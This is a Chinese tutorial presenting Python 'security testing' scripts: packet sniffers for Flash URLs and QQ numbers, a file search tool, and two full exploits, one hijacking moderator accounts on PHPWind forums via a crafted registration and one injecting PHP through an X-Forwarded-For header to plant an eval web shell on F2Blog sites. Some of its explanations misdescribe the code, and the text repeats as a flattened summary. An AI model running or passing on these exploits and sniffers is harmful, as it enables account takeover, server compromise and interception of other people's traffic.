Python常用辅助安全测试6个代码例子
字数 1091 2025-08-18 11:37:37

Python安全测试辅助工具开发指南

1. 网络数据包嗅探技术

1.1 Flash播放地址嗅探

import pcap, struct, re
from pickle import dump, load

# 创建pcap对象
pack = pcap.pcap()
# 设置过滤规则,只捕获TCP端口80的数据
pack.setfilter('tcp port 80')

# 定义匹配Flash视频的正则表达式
regx = r'/[\w+|/]+.flv|/[\w+|/]+.swf'
urls = []
hosts = []

print('start capture....')
for recv_time, recv_data in pack:
    urls = re.findall(regx, recv_data)
    if(len(urls) != 0):
        print(urls)

关键点:

  • 使用pcap库进行网络数据包捕获
  • 通过setfilter方法过滤TCP 80端口(HTTP)流量
  • 正则表达式匹配.flv和.swf文件路径
  • 实时捕获并显示匹配的URL

1.2 QQ号码嗅探

# -*- coding: cp936 -*-
import pcap, struct

pack = pcap.pcap()
pack.setfilter('udp')  # QQ使用UDP协议
key = ''

for recv_time, recv_data in pack:
    recv_len = len(recv_data)
    # 根据QQ协议特征识别数据包
    if recv_len == 102 and recv_data[42] == chr(02) and recv_data[101] == chr(03):
        print(struct.unpack('>I', recv_data[49:53])[0])  # 解包QQ号码
    elif recv_len == 55:
        print(struct.unpack('>I', recv_data[49:53])[0])

关键点:

  • 过滤UDP协议数据包
  • 通过数据包长度和特定位置字符识别QQ协议包
  • 使用struct解包数据获取QQ号码
  • 注意编码声明(cp936)确保中文兼容

2. 文件内容搜索工具

import os, string, re, sys

class SevenFile:
    files = []
    
    def FindContent(self, path):
        print('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx')
        walks = os.walk(path)
        for walk in walks:
            for filename in walk[2]:
                if('.mht' == filename[-4:]):  # 只搜索.mht文件
                    res_taskid = []
                    file = walk[0] + '\\' + filename
                    f = open(file)
                    content = f.read()
                    # 编译正则表达式,忽略大小写
                    pattern_taskid = re.compile(r'Stonehenge-UIVerificationChecklist\.mht', re.IGNORECASE)
                    res_taskid = pattern_taskid.findall(content)
                    f.close()
                    if len(res_taskid) > 0:
                        self.files.append(file)

def run():
    f = SevenFile()
    f.FindContent(r"E:\work\AP\Manual Tests\PSIGTestProject\PSIGTestProject")
    for filepath in f.files:
        print(filepath)
        print("OK")

if __name__ == "__main__":
    run()

关键点:

  • 使用os.walk递归遍历目录
  • 文件扩展名过滤(.mht)
  • 正则表达式内容匹配
  • 跨平台路径处理(注意Windows反斜杠)
  • 主程序入口检查(name == "main")

3. Web安全测试工具

3.1 PHPWind论坛漏洞利用

# -*- coding: gb2312 -*-
import urllib2, httplib, sys

httplib.HTTPConnection.debuglevel = 1
cookies = urllib2.HTTPCookieProcessor()
opener = urllib2.build_opener(cookies)

def usage():
    print("Usage:\n")
    print(" $ ./phpwind.py pwforumurl usertoattack\n")
    print(" pwforumurl 目标论坛地址如http://www.80sec.com/")
    print(" usertoattack 目标拥有权限的斑竹或管理员")
    print(" ×××结果将会在目标论坛注册一个和目标用户一样的帐户")
    print(" 最新版本可以使用uid登陆")
    print(" 其他版本可以使用cookie+useragent登陆")
    print("")

argvs = sys.argv
usage()

data = "regname=%s %s1&ampregpwd=@80sec&ampregpwdrepeat=@80sec&ampregemail=...@foo.com&ampregemailtoall=1&step=2" % (argvs[2], "%c1")
pwurl = "%s/register.php" % argvs[1]

request = urllib2.Request(
    url = pwurl,
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded',
        'User-Agent': '80sec owned this'
    },
    data = data)

f = opener.open(request)
headers = f.headers.dict
cookie = headers["set-cookie"]

try:
    if cookie.index('winduser'):
        print("Exploit Success!")
        print("Login with uid password @80sec or Cookie:")
        print(cookie)
        print("User-agent: 80sec owned this")
except:
    print("Error! http://www.80sec.com")
    print("Connect root#80sec.com")

关键点:

  • 使用urllib2处理HTTP请求和Cookie
  • 构造恶意注册表单数据
  • 特殊字符(%c1)绕过注册限制
  • 自定义User-Agent标识
  • 错误处理和结果验证

3.2 SQL注入工具示例

#!c:\python24\pyton
# Exploit For F2Blog All Version
import sys
import httplib
from urlparse import urlparse
from time import sleep

def injection(realurl, path, evil):
    cmd = ""
    cookie = ""
    header = {
        'Accept-Language': 'zh-cn',
        'Referer': 'http://' + realurl[1] + path + 'index.php',
        'Content-Type': 'application/x-www-form-urlencoded',
        'User-Agent': useragent,
        'Host': realurl[1],
        'Content-length': len(cmd),
        'Connection': 'Keep-Alive',
        'X-Forwarded-For': evil,
        'Cookie': cookie
    }
    
    http = httplib.HTTPConnection(realurl[1])
    http.request("POST", path + "index.php", cmd, header)
    sleep(1)
    
    http1 = httplib.HTTPConnection(realurl[1])
    http1.request("GET", path + "cache/test11.php")
    response = http1.getresponse()
    re1 = response.read()
    
    if re1.find('test') == 0:
        print('Expoilt Success!\n')
        print('View Your shell:\t%s' % shell)
        sys.exit(1)
    else:
        sys.stdout.write("Expoilt FALSE!")
        http.close()
        sys.stdout.write("\n")

def main():
    print('Exploit For F2Blog All Version')
    print('Codz by pt...@vip.sina.com\n')
    
    if len(sys.argv) == 2:
        url = urlparse(sys.argv[1])
        if url[2:-1]:
            u = url[2] + '/'
        else:
            u = url[2]
    else:
        print("Usage: %s <url> " % sys.argv[0])
        print("Example: %s http://127.0.0.1/bk" % sys.argv[0])
        sys.exit(0)

    print('[+] Connect %s' % url[1])
    print('[+] Trying...')
    print('[+] Plz wait a long long time...')
    
    global shell, useragent
    shell = "http://" + url[1] + u + "cache/test11.php"
    query = 'fputs(fopen(\'cache/test11.php\',\'w+ @eval($_REQUEST[c])?>test\')'
    query += ';/*'
    evilip = query
    useragent = ""
    cookie = ""
    
    injection(url, u, evilip)
    evilip = ""
    injection(url, u, evilip)
    print('[+] Finished')

if __name__ == '__main__':
    main()

关键点:

  • 使用httplib发送HTTP请求
  • 构造恶意X-Forwarded-For头进行注入
  • 通过时间延迟判断注入结果
  • 命令行参数处理
  • 结果验证(test11.php文件生成)

4. 高级安全测试工具推荐

4.1 sqlmap简介

sqlmap是一个功能强大的自动化SQL注入工具,支持:

  • 多种数据库:MySQL, Oracle, PostgreSQL, SQL Server, Access, DB2, Informix, Sybase
  • 多种注入技术:盲注、错误回显注入、时间延迟注入等
  • 多种请求方式:GET, POST, Cookie注入
  • 高级功能:指纹识别、代理支持、优化算法

获取方式:
自行搜索下载,官方网站:http://sqlmap.org/

5. Python安全测试开发要点总结

  1. 网络嗅探基础

    • 使用pcap库捕获网络数据包
    • 通过协议特征识别特定应用流量
    • 正则表达式匹配关键信息
  2. 文件系统操作

    • os.walk递归遍历目录
    • 文件内容正则匹配
    • 大文件处理技巧
  3. Web安全测试

    • 使用urllib2/httplib发送HTTP请求
    • Cookie和Header处理
    • 漏洞利用代码构造
  4. 开发实践

    • 命令行参数处理
    • 跨平台兼容性
    • 错误处理和日志记录
  5. 高级工具

    • 了解sqlmap等专业工具
    • 学习其设计思路和实现方法
    • 根据实际需求开发定制化工具

通过掌握这些Python安全测试技术,可以大大提高安全测试效率,自动化重复性工作,并开发出适合特定需求的专用工具。

Python安全测试辅助工具开发指南 1. 网络数据包嗅探技术 1.1 Flash播放地址嗅探 关键点: 使用pcap库进行网络数据包捕获 通过setfilter方法过滤TCP 80端口(HTTP)流量 正则表达式匹配.flv和.swf文件路径 实时捕获并显示匹配的URL 1.2 QQ号码嗅探 关键点: 过滤UDP协议数据包 通过数据包长度和特定位置字符识别QQ协议包 使用struct解包数据获取QQ号码 注意编码声明(cp936)确保中文兼容 2. 文件内容搜索工具 关键点: 使用os.walk递归遍历目录 文件扩展名过滤(.mht) 正则表达式内容匹配 跨平台路径处理(注意Windows反斜杠) 主程序入口检查( name == " main ") 3. Web安全测试工具 3.1 PHPWind论坛漏洞利用 关键点: 使用urllib2处理HTTP请求和Cookie 构造恶意注册表单数据 特殊字符(%c1)绕过注册限制 自定义User-Agent标识 错误处理和结果验证 3.2 SQL注入工具示例 关键点: 使用httplib发送HTTP请求 构造恶意X-Forwarded-For头进行注入 通过时间延迟判断注入结果 命令行参数处理 结果验证(test11.php文件生成) 4. 高级安全测试工具推荐 4.1 sqlmap简介 sqlmap是一个功能强大的自动化SQL注入工具,支持: 多种数据库:MySQL, Oracle, PostgreSQL, SQL Server, Access, DB2, Informix, Sybase 多种注入技术:盲注、错误回显注入、时间延迟注入等 多种请求方式:GET, POST, Cookie注入 高级功能:指纹识别、代理支持、优化算法 获取方式: 自行搜索下载,官方网站:http://sqlmap.org/ 5. Python安全测试开发要点总结 网络嗅探基础 使用pcap库捕获网络数据包 通过协议特征识别特定应用流量 正则表达式匹配关键信息 文件系统操作 os.walk递归遍历目录 文件内容正则匹配 大文件处理技巧 Web安全测试 使用urllib2/httplib发送HTTP请求 Cookie和Header处理 漏洞利用代码构造 开发实践 命令行参数处理 跨平台兼容性 错误处理和日志记录 高级工具 了解sqlmap等专业工具 学习其设计思路和实现方法 根据实际需求开发定制化工具 通过掌握这些Python安全测试技术,可以大大提高安全测试效率,自动化重复性工作,并开发出适合特定需求的专用工具。